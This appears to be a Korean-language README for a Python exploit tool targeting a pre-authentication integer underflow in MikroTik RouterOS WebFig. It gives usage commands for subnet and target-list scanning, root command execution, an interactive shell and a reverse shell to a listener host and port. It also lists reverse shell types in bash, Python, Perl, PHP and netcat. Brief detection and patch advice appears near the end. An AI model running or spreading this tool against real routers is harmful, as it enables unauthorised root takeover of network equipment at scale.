
CVE-2026-84411에 대한 Python 익스플로잇으로, MikroTik RouterOS WebFig의 인증 전 정수 언더플로를 이용해 RCE를 가능하게 하며, 스캐닝, 명령 실행, 리버스 셸 기능을 제공합니다.
CVE-2026-84411은 MikroTik RouterOS의 치명적인 인증 전 원격 코드 실행(RCE) 취약점입니다.
| 필드 | 값 |
|---|---|
| CVSS v3 | 9.8 (치명적) |
| CWE | CWE-191: 정수 언더플로 |
| 공격 벡터 | 네트워크 |
| 인증 | 없음 (인증 전) |
| 영향 | root 권한의 전체 RCE / DoS |
| 영향받는 버전 | RouterOS < 7.24 |
| 수정 버전 | RouterOS 7.24+ |
웹 관리 서비스(WebFig, TCP/80 및 TCP/443에서 수신)의 HTTP 요청 본문 처리에 정수 언더플로가 존재합니다. 로그인하지 않고 전송된 단일 특수 제작 HTTP 요청으로 서비스를 충돌시키거나 전체 권한으로 임의 코드 실행을 허용할 수 있습니다.
이 언더플로는 파서가 불충분한 검증으로 본문 길이를 계산할 때 발생하며, 값이 0 아래로 래핑되어 매우 큰 부호 없는 정수로 언더플로되도록 합니다. 이렇게 손상된 길이를 신뢰하는 메모리 연산(복사, 할당, 경계 검사)은 이후 치명적으로 동작합니다.
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
이 도구는 네 가지 탐지 방법을 사용합니다:
Content-Length로 POST 전송Content-Length 값 전송Content-Length와 함께 매우 큰 본문 전송| 유형 | 명령 |
|---|---|
bash | 표준 bash 리버스 셸 |
python | Python 2 리버스 셸 |
python3 | Python 3 리버스 셸 |
perl | Perl 리버스 셸 |
php | PHP 리버스 셸 |
nc | Netcat 리버스 셸 |
targets.txt — 한 줄에 대상 하나씩:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
가장 신뢰도 높은 신호는 알려진 관리 호스트가 아닌 출처에서 RouterOS 웹 관리 포트(TCP/80, TCP/443)로 연결되는 모든 트래픽입니다.
Sigma 규칙은 Security Arsenal 블로그 게시물을 참조하십시오: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
RouterOS 7.24 이상으로 업데이트하십시오.
승인된 보안 테스트 전용입니다.
Gagaltotal666 / GhostGTR666의 Go PoC를 기반으로 한 Python 포팅입니다.